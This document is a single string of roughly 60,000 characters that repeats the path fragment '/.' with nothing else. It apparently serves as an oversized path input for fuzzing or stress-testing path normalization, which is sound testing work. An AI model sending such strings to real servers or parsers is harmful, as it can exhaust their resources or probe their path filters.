/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.